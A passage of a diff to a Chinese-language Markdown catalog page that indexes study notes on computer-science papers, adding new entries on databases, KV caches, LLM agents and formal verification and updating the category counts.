| | [MonetDB/X100 — 让数据库一次处理一向量行而不是一行](/study/papers/monetdb-x100-2005/) | ✅ v3 | | | [Adaptive Optimization of Very Large Join Queries — 100 张表也敢精确求解](/study/papers/neumann-2015-large-joins/) | ✅ v3 | | +| [OLTP Through the Looking Glass — 传统数据库的 20 倍开销从哪来](/study/papers/oltp-looking-glass/) | ✅ v3 | | | [Paxos 1998 — 古希腊议会寓言里藏的共识协议](/study/papers/paxos-1998/) | 🗄 存量 | | | [Paxos Made Simple — Lamport 用平直英语把共识协议推导一遍](/study/papers/paxos-simple-2001/) | ✅ v3 | | | [Product Quantization — 把向量切碎再压成几个字节](/study/papers/product-quantization-2011/) | ✅ v3 | | @@ -328,6 +337,7 @@ sidebar: | [Snowflake 2016 — 把数仓拆成 storage / compute / services 三层](/study/papers/snowflake-2016/) | ✅ v3 | | | [Spanner 2012 — 用原子钟和 GPS 给全球数据库发时间戳](/study/papers/spanner-2012/) | ✅ v3 | | | [SQLite — 嵌入式数据库 30 年怎么活下来的](/study/papers/sqlite-2022/) | ✅ v3 | | +| [SQLite is All You Need for Durable Workflows — 用单文件数据库做持久化工作流](/study/papers/sqlite-durable-workflows/) | ✅ v3 | | | [Stonebraker 2010 SQL vs NoSQL — 慢的是老实现,不是 SQL](/study/papers/stonebraker-2010-sqlnosql/) | ✅ v3 | | | [System R 1976 — 第一个跑起来的关系数据库](/study/papers/system-r-1976/) | ✅ v3 | | | [Tachyon — 把集群存储推到内存速度,丢了再算回来](/study/papers/tachyon-2014/) | ✅ v3 | | @@ -335,6 +345,7 @@ sidebar: | [Trill — 一个引擎同时跑流、批、交互三种分析](/study/papers/trill-2014/) | ✅ v3 | | | [Vertica 2012 — C-Store 论文走向产品的七年改造账](/study/papers/vertica-2012/) | ✅ v3 | | | [Volcano 1994 — 把 SQL 执行写成 next() 拉式数据流](/study/papers/volcano-1994/) | ✅ v3 | | +| [WiscKey — 把 Key 和 Value 拆开,让 SSD 上的 LSM 树少干冤枉活](/study/papers/wisckey/) | ✅ v3 | | | [Zab — ZooKeeper 怎么把客户端写入按顺序复制到所有副本](/study/papers/zab-2011/) | ✅ v3 | | ### 数据库 @@ -355,7 +366,7 @@ sidebar: ## 操作系统 -共 63 篇。 +共 64 篇。 ### 内核与虚拟化 @@ -429,10 +440,11 @@ sidebar: | [Boehm-Weiser 保守式垃圾回收 — 不改编译器也能给 C 加 GC](/study/papers/boehm-gc/) | ✅ v3 | | | [eBPF — 用户写小程序,内核证明安全后再跑](/study/papers/ebpf/) | ✅ v3 | | | [io_uring — Linux 让 N 次 IO 摊销到 1 次 syscall](/study/papers/io-uring/) | ✅ v3 | | +| [You probably don't need Yocto, and that's fine — 嵌入式 Linux 不必默认上 Yocto](/study/papers/yocto-alternatives/) | ✅ v3 | | ## 机器学习 -共 215 篇。 +共 232 篇。 ### 多模态 LLM @@ -465,6 +477,7 @@ sidebar: | [BIG-bench — 204 道题给大模型出考卷](/study/papers/bigbench-2022/) | ✅ v3 | | | [BigGAN — 把 GAN 暴力放大到 ImageNet 512×512](/study/papers/biggan-2018/) | ✅ v3 | | | [BLIP-2 — 用 188M 小桥接器把冻结的视觉模型和大语言模型拼起来](/study/papers/blip2-2023/) | ✅ v3 | | +| [Cross-Component Interference in LLM Agent Scaffolding(LLM Agent 脚手架的跨组件干扰)](/study/papers/cci-agent-scaffolding/) | ✅ v3 | | | [Chatbot Arena — 让真人盲投,给 LLM 排出公允座次](/study/papers/chatbot-arena-2024/) | ✅ v3 | | | [Chronos — 把时间序列当语言来训练大模型](/study/papers/chronos-2024/) | ✅ v3 | | | [Classifier-Free Guidance — 让扩散模型自己听懂条件](/study/papers/classifier-free-guidance-2022/) | ✅ v3 | | @@ -472,6 +485,7 @@ sidebar: | [Code Llama — 开源代码模型的完整训练配方](/study/papers/codellama-2023/) | ✅ v3 | | | [Codex — 让 GPT 学会写 Python,并造一把尺子量它](/study/papers/codex-2021/) | ✅ v3 | | | [Consistency Models — 把 50 步扩散压成 1 步出图](/study/papers/consistency-models-2023/) | ✅ v3 | | +| [When Context Hurts — 知识迁移在多智能体设计中的交叉效应](/study/papers/crossover-context-multi-agent/) | ✅ v3 | | | [DDIM — 把扩散模型 1000 步采样压到 50 步](/study/papers/ddim-2020/) | ✅ v3 | | | [AI safety via debate — 让两个 AI 互辩,人类只当评委](/study/papers/debate-2018/) | ✅ v3 | | | [DeBERTa — 把"内容"和"位置"拆成两路独立看的 BERT](/study/papers/deberta-2021/) | ✅ v3 | | @@ -496,17 +510,23 @@ sidebar: | [GraphSAGE 2017 — 给没见过的节点也能算嵌入](/study/papers/graphsage-2017/) | ✅ v3 | | | [Grokking — 训练 loss 早归零,几千步后才突然学会](/study/papers/grokking-2022/) | ✅ v3 | | | [GRU 2014 — 用两个门替代 LSTM 三个门,编码-解码范式登场](/study/papers/gru-2014/) | ✅ v3 | | +| [HexAGenT — 面向 Agentic LLM 的工作流与异构感知调度](/study/papers/hexagent-agentic-scheduling/) | ✅ v3 | | | [Imagen — 文生图真正的引擎是语言模型](/study/papers/imagen-2022/) | ✅ v3 | | | [Instant-NGP — 秒级训练 NeRF 的多分辨率哈希编码](/study/papers/instant-ngp-2022/) | ✅ v3 | | | [InternVL — 6B 视觉基座 + QLLaMA 对齐开源多模态](/study/papers/internvl-2023/) | ✅ v3 | | +| [KV-Fold — 一步 KV 缓存递推实现长上下文推理](/study/papers/kv-fold/) | ✅ v3 | | | [Label Smoothing — 别让模型对正确答案过度自信](/study/papers/label-smoothing-2016/) | ✅ v3 | | | [Layer Normalization — 把归一化方向从 batch 转到 feature,让 RNN/Transformer 也能稳定训](/study/papers/layernorm-2016/) | ✅ v3 | | +| [LFM2.5-8B-A1B — 38T 预训练的边缘 MoE 个人助手](/study/papers/lfm2-5-8b-a1b-moe/) | ✅ v3 | | | [Lion — 让程序自己搜出来的优化器,比 AdamW 内存少一半](/study/papers/lion-2023/) | ✅ v3 | | +| [LLM Serving Needs Mathematical Optimization, Not Just Heuristics — 零基础学习笔记](/study/papers/llm-serving-needs-math/) | ✅ v3 | | +| [LLMSurgeon — 从生成文本反推大模型预训练数据配比](/study/papers/llmsurgeon-data-mixture/) | ✅ v3 | | | [Longformer — 滑窗加少数全局 token,把长文档喂进 Transformer](/study/papers/longformer-2020/) | ✅ v3 | | | [彩票假设 — 大网里藏着一张能独立训出来的小网](/study/papers/lottery-ticket-2019/) | ✅ v3 | | | [LSTM — 用门控让神经网络记得住上一段话](/study/papers/lstm-1997/) | ✅ v3 | | | [Magic3D — 把 DreamFusion 的 NeRF 拆成"先粗后精"两阶段](/study/papers/magic3d-2023/) | ✅ v3 | | | [MAML — 学一个"好起点",几步就能学会新任务](/study/papers/maml-2017/) | ✅ v3 | | +| [When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?](/study/papers/memory-tool-use-agents/) | ✅ v3 | | | [Mesa-Optimization 2019 — 训出来的模型自己也是个优化器](/study/papers/mesa-optimization-2019/) | ✅ v3 | | | [MiniCPM-V — 手机能跑的 GPT-4V 级多模态模型](/study/papers/minicpm-v-2024/) | ✅ v3 | | | [mixup — 把两张图按比例叠成一张,标签也一起叠](/study/papers/mixup-2018/) | ✅ v3 | | @@ -514,12 +534,15 @@ sidebar: | [Mode Connectivity — 神经网络的两个最优解之间有低洼走廊](/study/papers/mode-connectivity-2018/) | ✅ v3 | | | [mPLUG-Owl — 模块化拼装多模态大模型](/study/papers/mplug-owl-2023/) | ✅ v3 | | | [N-BEATS — 纯前馈网络在时序预测上打败统计派](/study/papers/nbeats-2020/) | ✅ v3 | | +| [NestedKV — 嵌套内存路由实现长上下文 KV Cache 压缩](/study/papers/nestedkv/) | ✅ v3 | | | [NTK — 把无限宽的神经网络变成一个可解的核方法](/study/papers/ntk-2018/) | ✅ v3 | | | [NVILA — 先放大分辨率再压缩 token 的高效 VLM](/study/papers/nvila-2024/) | ✅ v3 | | | [Orca — 让一批 LLM 请求随到随走,不再排队等最长那个](/study/papers/orca-continuous-batching/) | ✅ v3 | | +| [OSCAR — 面向 2-bit KV Cache 的离线谱协方差感知旋转](/study/papers/oscar-int2-kv/) | ✅ v3 | | | [Parti — 把文生图当作翻译,用自回归 Transformer 一像素接一像素地写](/study/papers/parti-2022/) | ✅ v3 | | | [Performer — 用随机特征把 softmax attention 拉成线性复杂度](/study/papers/performer-2020/) | ✅ v3 | | | [Prototypical Networks — 每类算个均值,比距离就够了](/study/papers/prototypical-networks-2017/) | ✅ v3 | | +| [Qwen-VLA — 跨任务、环境与具身的统一视觉-语言-动作建模](/study/papers/qwen-vla/) | ✅ v3 | | | [Reformer — 用哈希分桶把 attention 从 O(L²) 压到 O(L log L)](/study/papers/reformer-2020/) | ✅ v3 | | | [REPLUG — 不动 LLM 一根毛,只把检索器调到它的"口味"上](/study/papers/replug-2023/) | ✅ v3 | | | [RoBERTa — 把 BERT 重训一遍就能拿 SOTA](/study/papers/roberta-2019/) | ✅ v3 | | @@ -531,6 +554,7 @@ sidebar: | [Seq2Seq — 把翻译变成端到端神经网络](/study/papers/seq2seq-2014/) | ✅ v3 | | | [Sophia — 让二阶优化器第一次在 LLM 预训练里跑得动](/study/papers/sophia-2023/) | ✅ v3 | | | [StarCoder — 把训练数据完整公开的 15B 代码模型](/study/papers/starcoder-2023/) | ✅ v3 | | +| [STORM — 面向多智能体协作的状态导向管理](/study/papers/storm-multi-agent-state/) | ✅ v3 | | | [StyleGAN2 — 把 StyleGAN 的水滴瑕疵和潜空间纠葛一起修掉](/study/papers/stylegan2-2020/) | ✅ v3 | | | [Sycophancy 2023 — RLHF 模型为什么爱顺着用户说](/study/papers/sycophancy-2023/) | ✅ v3 | | | [T0 — 让 50 个人各写各的提示词,模型反而更会听新指令](/study/papers/t0-2021/) | ✅ v3 | | @@ -538,7 +562,12 @@ sidebar: | [TD3 — 给 DDPG 装两副刹车,连续控制终于稳了](/study/papers/td3-2018/) | ✅ v3 | | | [Transformer-XL — 让 Transformer 像 RNN 那样把上下文滚动传下去](/study/papers/transformer-xl-2019/) | ✅ v3 | | | [Tree of Thoughts — 让 LLM 像下棋一样多想几步再答](/study/papers/tree-of-thoughts-2023/) | ✅ v3 | | +| [TriAxialKV — Agent 推理场景下的极低精度 KV Cache 混合量化](/study/papers/triaxialkv/) | ✅ v3 | | +| [Tutti — 让 SSD 上的 KV Cache 真正可用于长上下文 LLM 推理](/study/papers/tutti-ssd-kv-cache/) | ✅ v3 | | | [VALL-E — 3 秒样本零样本语音克隆](/study/papers/vall-e-2023/) | ✅ v3 | | +| [VeriCache — 把有损 KV Cache 变成无损 LLM 推理](/study/papers/vericache/) | ✅ v3 | | +| [VibeServe — 零基础学习笔记](/study/papers/vibeserve/) | ✅ v3 | | +| [VisualThink-VLA — 用「视觉中间推理」做低延迟的机器人策略](/study/papers/visualthink-vla/) | ✅ v3 | | | [Whisper — 68 万小时弱监督训出的语音识别](/study/papers/whisper-2022/) | ✅ v3 | | | [XLNet — 把句子打乱顺序读,借此同时拿到 AR 和双向](/study/papers/xlnet-2019/) | ✅ v3 | | @@ -706,7 +735,7 @@ sidebar: ## 后端 API -共 9 篇。 +共 10 篇。 ### 后端 @@ -722,6 +751,7 @@ sidebar: | 论文 | 质量 | 描述 | |---|:---:|---| | [Islands Architecture — 静态页面里只让需要交互的小块加载 JS](/study/papers/islands-architecture/) | ✅ v3 | | +| [MCP Is Dead? — 2026 年协议存废之争零基础笔记](/study/papers/mcp-is-dead-debate/) | ✅ v3 | | | [nvm — 在同一台机器上轻松切换 Node 版本](/study/papers/nvm/) | ✅ v3 | | | [React Server Components — 让组件自己决定在哪台机器跑](/study/papers/react-server-components/) | ✅ v3 | | | [Server-Sent Events — 服务器单向推送的标准协议](/study/papers/server-sent-events/) | ✅ v3 | | @@ -981,13 +1011,14 @@ sidebar: ## 形式化方法 -共 51 篇。 +共 53 篇。 ### 形式化验证 | 论文 | 质量 | 描述 | |---|:---:|---| | [ACL2 — 用纯 Lisp 当数学对象,机器证明工业级硬件正确](/study/papers/acl2-2000/) | ✅ v3 | | +| [First Steps Towards Probabilistic Iris (Amaryllis)](/study/papers/amaryllis-probabilistic-iris/) | ✅ v3 | | | [Apron — 把区间/八边形/多面体塞进同一个插槽](/study/papers/apron-2009/) | ✅ v3 | | | [Awodey-Warren — 把『相等的证明』看成两点之间的路径](/study/papers/awodey-warren-2009/) | ✅ v3 | | | [Bounded Model Checking — 把硬件验证翻译成一道 SAT 题](/study/papers/biere-bmc-1999/) | ✅ v3 | | @@ -1027,6 +1058,7 @@ sidebar: | [Nuprl — 第一个把 Martin-Löf 类型论搬上屏幕的证明助手](/study/papers/nuprl-1986/) | ✅ v3 | | | [Pnueli 时序逻辑 — 给"永远不死锁""请求最终被响应"找一套数学语言](/study/papers/pnueli-temporal-1977/) | ✅ v3 | | | [ProVerif — 把密码协议翻成 Prolog 规则让计算机自己证安全](/study/papers/proverif-2001/) | ✅ v3 | | +| [Spec-Agent — 用 Agent + 分离逻辑 + Fuzz 自动写 C++ 合约](/study/papers/spec-agent-separation-logic/) | ✅ v3 | | | [Stainless — 让编译器替你证明 Scala 函数真的满足规约](/study/papers/stainless-2017/) | ✅ v3 | | | [Tamarin — 让计算机自己证 Signal、TLS 1.3 这种带 DH 的协议是不是真安全](/study/papers/tamarin-2012/) | ✅ v3 | | | [TLC — 让 TLA+ 规范可以一键机检的模型检查器](/study/papers/tla-yu-tlc-1999/) | ✅ v3 | | @@ -1153,13 +1185,14 @@ sidebar: ## CLI -共 1 篇。 +共 2 篇。 ### 其他子类 | 论文 | 质量 | 描述 | |---|:---:|---| | [Nix — 把每个软件包当成纯函数的输出](/study/papers/nix/) | ✅ v3 | | +| [On Rendering Diffs — 浏览器里渲染代码 diff 为何比看起来难得多](/study/papers/rendering-diffs/) | ✅ v3 | | ## NLP @@ -1306,7 +1339,7 @@ sidebar: --- -## 全部 948 篇(字母序) +## 全部 981 篇(字母序) | Slug | 论文 | 质量 | 一级 | 子分类 | |---|---|:---:|---|---| @@ -1331,6 +1364,7 @@ sidebar: | `align-2021` | [ALIGN — 用 18 亿条脏图文对训练,证明数据规模能压住噪声](/study/papers/align-2021/) | ✅ v3 | 机器学习 | 模型与训练 | | `alpa-2022` | [Alpa — 把张量/流水/数据并行统一成一道搜索题](/study/papers/alpa-2022/) | ✅ v3 | 图形学 | GPU 架构 | | `alphago` | [AlphaGo — 击败围棋世界冠军](/study/papers/alphago/) | ✅ v3 | 机器学习 | 强化学习 / AI | +| `amaryllis-probabilistic-iris` | [First Steps Towards Probabilistic Iris (Amaryllis)](/study/papers/amaryllis-probabilistic-iris/) | ✅ v3 | 形式化方法 | 形式化验证 | | `amdahl-law-1967` | [Amdahl 定律 — 串行比例决定并行加速比的上界](/study/papers/amdahl-law-1967/) | ✅ v3 | 图形学 | GPU 架构 | | `amoeba-1990` | [Amoeba — 把整个机房当一台操作系统](/study/papers/amoeba-1990/) | ✅ v3 | 操作系统 | 内核与虚拟化 | | `ampere-architecture-2020` | [NVIDIA Ampere — 第三代 Tensor Core 加 TF32 / BF16 / FP64,结构化稀疏 + MIG 重写大模型时代硬件假设](/study/papers/ampere-architecture-2020/) | ✅ v3 | 图形学 | GPU 架构 | @@ -1385,6 +1419,7 @@ sidebar: | `bigbench-2022` | [BIG-bench — 204 道题给大模型出考卷](/study/papers/bigbench-2022/) | ✅ v3 | 机器学习 | 模型与训练 | | `biggan-2018` | [BigGAN — 把 GAN 暴力放大到 ImageNet 512×512](/study/papers/biggan-2018/) | ✅ v3 | 机器学习 | 模型与训练 | | `bigtable-2006` | [Bigtable 2006 — Google 把行级随机读写做到 PB 级的存储系统](/study/papers/bigtable-2006/) | 🗄 存量 | 数据库 | 存储与查询 | +| `bijou64-varint` | [Bijou64 — 结构式规范化的变长整数编码](/study/papers/bijou64-varint/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `bitcoin` | [Bitcoin 白皮书](/study/papers/bitcoin/) | ✅ v3 | 分布式系统 | 分布式系统 / 密码学 | | `bittorrent-2003` | [BitTorrent — 用"以牙还牙"逼大家都上传](/study/papers/bittorrent-2003/) | ✅ v3 | 网络协议 | 网络协议 | | `blackwell-architecture-2024` | [NVIDIA Blackwell — 双 die NV-HBI + 第二代 Transformer Engine + FP4 让万亿参数训练日常化](/study/papers/blackwell-architecture-2024/) | ✅ v3 | 图形学 | GPU 架构 | @@ -1411,6 +1446,7 @@ sidebar: | `bunz-bulletproofs-2018` | [Bulletproofs: Short Proofs for Confidential Transactions and More](/study/papers/bunz-bulletproofs-2018/) | ✅ v3 | 安全与隐私 | 安全与隐私 | | `burgess-2020-turing-rt` | [Burgess 2020 RTX ON — Turing 把光线追踪做进硅片](/study/papers/burgess-2020-turing-rt/) | ✅ v3 | 图形学 | 渲染与图形 | | `bvt-1999` | [BVT 1999 — 让一份调度器同时照顾"急性子"和"老黄牛"](/study/papers/bvt-1999/) | ✅ v3 | 操作系统 | 内核与虚拟化 | +| `bw-tree` | [Bw-Tree — 面向新硬件的无锁 B 树索引](/study/papers/bw-tree/) | ✅ v3 | 数据库 | 存储与查询 | | `byzantine-generals-1982` | [拜占庭将军问题 — 节点能撒谎时怎么达成一致](/study/papers/byzantine-generals-1982/) | ✅ v3 | 分布式系统 | 共识与复制 | | `cadar-klee-2008` | [KLEE — 符号执行自动生成高覆盖测试](/study/papers/cadar-klee-2008/) | ✅ v3 | 安全与隐私 | 安全与隐私 | | `caesar-rexford-2005` | [Caesar-Rexford 2005 — 你的包为什么绕了大半个地球](/study/papers/caesar-rexford-2005/) | ✅ v3 | 网络协议 | 网络协议 | @@ -1427,6 +1463,7 @@ sidebar: | `catmull-1974-zbuffer` | [Catmull 1974 Z-buffer — 用一张深度图解决谁挡谁的问题](/study/papers/catmull-1974-zbuffer/) | ✅ v3 | 图形学 | 渲染与图形 | | `catmull-clark-1978` | [Catmull-Clark 1978 — 让任意拓扑网格收敛成光滑曲面](/study/papers/catmull-clark-1978/) | ✅ v3 | 图形学 | 渲染与图形 | | `causal-abstraction` | [Causal Abstraction — 神经网络与算法的因果对齐](/study/papers/causal-abstraction/) | ✅ v3 | 机器学习 | AI 可解释性 | +| `cci-agent-scaffolding` | [Cross-Component Interference in LLM Agent Scaffolding(LLM Agent 脚手架的跨组件干扰)](/study/papers/cci-agent-scaffolding/) | ✅ v3 | 机器学习 | 模型与训练 | | `cell-be-2005` | [Cell BE — 一颗 CPU 里塞 8 个加速核](/study/papers/cell-be-2005/) | ✅ v3 | 图形学 | GPU 架构 | | `ceph-2006` | [Ceph — 让分布式文件系统不靠中心查表](/study/papers/ceph-2006/) | ✅ v3 | 数据库 | 存储与查询 | | `cerf-kahn-1974` | [Cerf-Kahn 1974 — 用网关把异构网络拼成一个互联网](/study/papers/cerf-kahn-1974/) | ✅ v3 | 网络协议 | 网络协议 | @@ -1473,9 +1510,11 @@ sidebar: | `cohen-1985-hemicube` | [Cohen-Greenberg 1985 Hemicube — 把渲染硬件挪去算辐射度积分](/study/papers/cohen-1985-hemicube/) | ✅ v3 | 图形学 | 渲染与图形 | | `colbert-2020` | [ColBERT — 让 BERT 检索既准又能扛大规模](/study/papers/colbert-2020/) | ✅ v3 | 信息检索 | 检索与排序 | | `colbert-v2` | [ColBERTv2 — 让向量检索既精又能扛百万文档](/study/papers/colbert-v2/) | ✅ v3 | 信息检索 | 数据检索 | +| `columnar-storage-formats-2023` | [列式存储格式实证评估 — Parquet 与 ORC 谁更适合 2020 年代?](/study/papers/columnar-storage-formats-2023/) | ✅ v3 | 数据库 | 存储与查询 | | `comer-1979-btree` | [Comer 1979 — B-Tree 综述:为什么这棵树到处都有](/study/papers/comer-1979-btree/) | ✅ v3 | 数据库 | 存储与查询 | | `compcert` | [CompCert — 每条优化都被数学证明保持语义的 C 编译器](/study/papers/compcert/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `compiler-errors` | [Compiler Error Messages — 让编译报错有用](/study/papers/compiler-errors/) | ✅ v3 | 编程语言 | 编程语言 / 编译器 | +| `compiler-perf-left-on-table` | [Performance Left on the Table — 编译器自动向量化还剩多少性能没吃到](/study/papers/compiler-perf-left-on-table/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `consistency-models-2023` | [Consistency Models — 把 50 步扩散压成 1 步出图](/study/papers/consistency-models-2023/) | ✅ v3 | 机器学习 | 模型与训练 | | `consistent-hashing-1997` | [Consistent Hashing — 加机器只搬一小部分数据的哈希环](/study/papers/consistent-hashing-1997/) | ✅ v3 | 分布式系统 | 共识与复制 | | `constitutional-ai` | [Constitutional AI — Anthropic 的对齐方法](/study/papers/constitutional-ai/) | ✅ v3 | 机器学习 | AI 安全 / NLP | @@ -1499,6 +1538,7 @@ sidebar: | `crdt-shapiro-2011` | [CRDT — 让多副本各改各的,最终自动合一](/study/papers/crdt-shapiro-2011/) | ✅ v3 | 分布式系统 | 共识与复制 | | `crdt-sss-2011` | [CRDT 形式定义 — SSS 2011 八页浓缩版](/study/papers/crdt-sss-2011/) | ✅ v3 | 分布式系统 | 共识与复制 | | `croft-harper-1979` | [Croft-Harper 1979 — 没有相关性反馈也能跑概率检索](/study/papers/croft-harper-1979/) | ✅ v3 | 信息检索 | 检索与排序 | +| `crossover-context-multi-agent` | [When Context Hurts — 知识迁移在多智能体设计中的交叉效应](/study/papers/crossover-context-multi-agent/) | ✅ v3 | 机器学习 | 模型与训练 | | `cryptoverif-2008` | [CryptoVerif — 让计算机直接证密码协议在真实计算模型下安全](/study/papers/cryptoverif-2008/) | ✅ v3 | 形式化方法 | 形式化验证 | | `csp-hoare-1978` | [CSP — 进程之间只许喊话不许共用内存](/study/papers/csp-hoare-1978/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `cstore-2005` | [C-Store — 把数据按列存,分析查询直接快十倍](/study/papers/cstore-2005/) | ✅ v3 | 数据库 | 存储与查询 | @@ -1604,6 +1644,7 @@ sidebar: | `farsite-2002` | [Farsite — 把一群不可信桌面 PC 拼成一台可信文件服务器](/study/papers/farsite-2002/) | ✅ v3 | 操作系统 | 内核与虚拟化 | | `fast-paxos-2006` | [Fast Paxos — 给 Paxos 加一条乐观快车道](/study/papers/fast-paxos-2006/) | ✅ v3 | 分布式系统 | 共识与复制 | | `fastertransformer-2021` | [FasterTransformer 2021 — NVIDIA 第一代开源 LLM 推理引擎](/study/papers/fastertransformer-2021/) | ✅ v3 | 图形学 | GPU 架构 | +| `fastlanes-compression` | [FastLanes 压缩布局 — 用标量代码每秒解码超过 1000 亿整数](/study/papers/fastlanes-compression/) | ✅ v3 | 数据库 | 存储与查询 | | `fat-tree-2008` | [Fat-Tree 2008 — 用一堆便宜交换机搭出现代数据中心](/study/papers/fat-tree-2008/) | ✅ v3 | 网络协议 | 网络协议 | | `feautrier-polyhedral` | [Feautrier 多面体调度 — 把循环并行化变成解几何方程](/study/papers/feautrier-polyhedral/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `fermi-architecture-2010` | [NVIDIA Fermi — 把 GPU 从游戏卡推上超算](/study/papers/fermi-architecture-2010/) | ✅ v3 | 图形学 | GPU 架构 | @@ -1612,6 +1653,7 @@ sidebar: | `fielding-rest-2000` | [Fielding 2000 — 用约束推导法把 Web 的成功讲成了一门方法](/study/papers/fielding-rest-2000/) | ✅ v3 | 网络协议 | 网络协议 | | `filip-2021` | [FILIP — 把 CLIP 的图文对齐细化到 token 级](/study/papers/filip-2021/) | ✅ v3 | 信息检索 | 检索与排序 | | `firecracker-2020` | [Firecracker 2020 — 给 serverless 量身定做的极简 microVM](/study/papers/firecracker-2020/) | ✅ v3 | 操作系统 | 内核与虚拟化 | +| `first-class-refinement-scala` | [First-Class Refinement Types for Scala — 把「带条件的类型」写进 Scala 3 本身](/study/papers/first-class-refinement-scala/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `flamingo-2022` | [Flamingo — 让冻结的大模型学会看图,几张样例就上手](/study/papers/flamingo-2022/) | ✅ v3 | 机器学习 | 模型与训练 | | `flan-2021` | [FLAN — 用自然语言指令教模型学会"听话"](/study/papers/flan-2021/) | ✅ v3 | 机器学习 | 模型与训练 | | `flash-attention` | [FlashAttention — 不改算法,只改数据怎么进 GPU](/study/papers/flash-attention/) | ✅ v3 | 图形学 | GPU 与系统 | @@ -1688,10 +1730,12 @@ sidebar: | `hdfs-2010` | [HDFS — 把 GFS 用 Java 重写一遍并撑到 25 PB](/study/papers/hdfs-2010/) | ✅ v3 | 数据库 | 存储与查询 | | `heartbleed-2014` | [Heartbleed — 一个忘了写边界检查的 bug 让全网 1/3 的 HTTPS 站点漏内存](/study/papers/heartbleed-2014/) | ✅ v3 | 网络协议 | 网络协议 | | `heckbert-1986-texture-survey` | [Heckbert 1986 — 把"贴图"这件事讲清楚的第一篇综述](/study/papers/heckbert-1986-texture-survey/) | ✅ v3 | 图形学 | 渲染与图形 | +| `hekaton` | [Hekaton — SQL Server 内存优化 OLTP 引擎](/study/papers/hekaton/) | ✅ v3 | 数据库 | 存储与查询 | | `helium-type-errors` | [Helium — 让类型错误说人话的教学版 Haskell](/study/papers/helium-type-errors/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `helland-2007` | [Life Beyond Distributed Transactions — 大规模系统下放弃跨机事务的宣言](/study/papers/helland-2007/) | ✅ v3 | 分布式系统 | 共识与复制 | | `herlihy-moss-tm` | [Herlihy-Moss 事务内存 — 把数据库事务搬进 CPU](/study/papers/herlihy-moss-tm/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `hewitt-actor-model` | [Hewitt Actor 模型 — 把计算拆成一群只会发消息的小邮筒](/study/papers/hewitt-actor-model/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | +| `hexagent-agentic-scheduling` | [HexAGenT — 面向 Agentic LLM 的工作流与异构感知调度](/study/papers/hexagent-agentic-scheduling/) | ✅ v3 | 机器学习 | 模型与训练 | | `hindley-milner` | [Hindley-Milner — 编译器自己猜变量类型](/study/papers/hindley-milner/) | 🗄 存量 | 编程语言 | 编程语言 | | `hits-1999` | [HITS — 给网页同时打两个分:权威页 + 索引页](/study/papers/hits-1999/) | ✅ v3 | 信息检索 | 检索与排序 | | `hlc-2014` | [HLC 2014 — 把逻辑时钟和物理时钟合一,让普通服务器也能拍一致快照](/study/papers/hlc-2014/) | ✅ v3 | 分布式系统 | 共识与复制 | @@ -1763,10 +1807,12 @@ sidebar: | `krishnamurthy-1999-http11` | [Krishnamurthy 1999 — HTTP/1.0 到 1.1 究竟改了什么](/study/papers/krishnamurthy-1999-http11/) | ✅ v3 | 网络协议 | 网络协议 | | `kubernetes-2016` | [Kubernetes — 为什么选声明式 API 加协调环](/study/papers/kubernetes-2016/) | ✅ v3 | 操作系统 | 内核与虚拟化 | | `kustomize` | [Kustomize — 不写模板也能给 K8s 配置分环境](/study/papers/kustomize/) | 🗄 存量 | 基础设施 | 基础设施 | +| `kv-fold` | [KV-Fold — 一步 KV 缓存递推实现长上下文推理](/study/papers/kv-fold/) | ✅ v3 | 机器学习 | 模型与训练 | | `kvm-2007` | [KVM 2007 — 把 Linux 内核本身变成 hypervisor](/study/papers/kvm-2007/) | ✅ v3 | 操作系统 | 内核与虚拟化 | | `l4-1995` | [L4 — Liedtke 用 12KB 内核反驳"微内核必然慢"](/study/papers/l4-1995/) | ✅ v3 | 操作系统 | 内核与虚拟化 | | `label-smoothing-2016` | [Label Smoothing — 别让模型对正确答案过度自信](/study/papers/label-smoothing-2016/) | ✅ v3 | 机器学习 | 模型与训练 | | `lafortune-1993-bdpt` | [Lafortune-Willems 1993 — 从相机和光源同时撒光线再"接龙"](/study/papers/lafortune-1993-bdpt/) | ✅ v3 | 图形学 | 渲染与图形 | +| `lakehouse-2021` | [Lakehouse — 用开放格式统一数据仓库与高级分析](/study/papers/lakehouse-2021/) | ✅ v3 | 数据库 | 存储与查询 | | `lalr-deremer` | [DeRemer LALR(1) — 把 LR 表压到能用大小](/study/papers/lalr-deremer/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `lambda-calculus` | [λ-演算 — 用三条规则表达所有可计算函数](/study/papers/lambda-calculus/) | 🗄 存量 | 编程语言 | 编程语言 / 计算理论 | | `lambdarank-2006` | [LambdaRank — 跳过定义损失函数,直接把梯度写出来](/study/papers/lambdarank-2006/) | ✅ v3 | 信息检索 | 检索与排序 | @@ -1781,6 +1827,7 @@ sidebar: | `leis-2015-optimizers` | [Leis 2015 — 用真实数据打脸所有数据库的查询优化器](/study/papers/leis-2015-optimizers/) | ✅ v3 | 数据库 | 存储与查询 | | `lerner-seminal` | [Lerner 组合数据流 — 让小优化互相喂招](/study/papers/lerner-seminal/) | ✅ v3 | 编程语言 | 类型与 PL 理论 | | `levoy-hanrahan-1996-light-field` | [Light Field Rendering — 把场景拍成 4D 数组,新视角靠查表](/study/papers/levoy-hanrahan-1996-light-field/) | ✅ v3 | 图形学 | 渲染与图形 | +| `lfm2-5-8b-a1b-moe` | [LFM2.5-8B-A1B — 38T 预训练的边缘 MoE 个人助手](/study/papers/lfm2-5-8b-a1b-moe/) | ✅ v3 | 机器学习 | 模型与训练 | | `lfs-1991` | [LFS 1991 — 把整个磁盘当日志写](/study/papers/lfs-1991/) | ✅ v3 | 操作系统 | 内核与虚拟化 | | `li-2018-redner` | [redner — 让光线追踪能反向传播过几何边缘](/study/papers/li-2018-redner/) | ✅ v3 | 图形学 | 渲染与图形 | | `li-t-closeness-2007` | [t-Closeness — 用"分布距离"堵住匿名化的最后漏洞](/study/papers/li-t-closeness-2007/) | ✅ v3 | 安全与隐私 | 安全与隐私 | @@ -1800,7 +1847,9 @@ sidebar: | `llava-onevision-2024` | [LLaVA-OneVision — 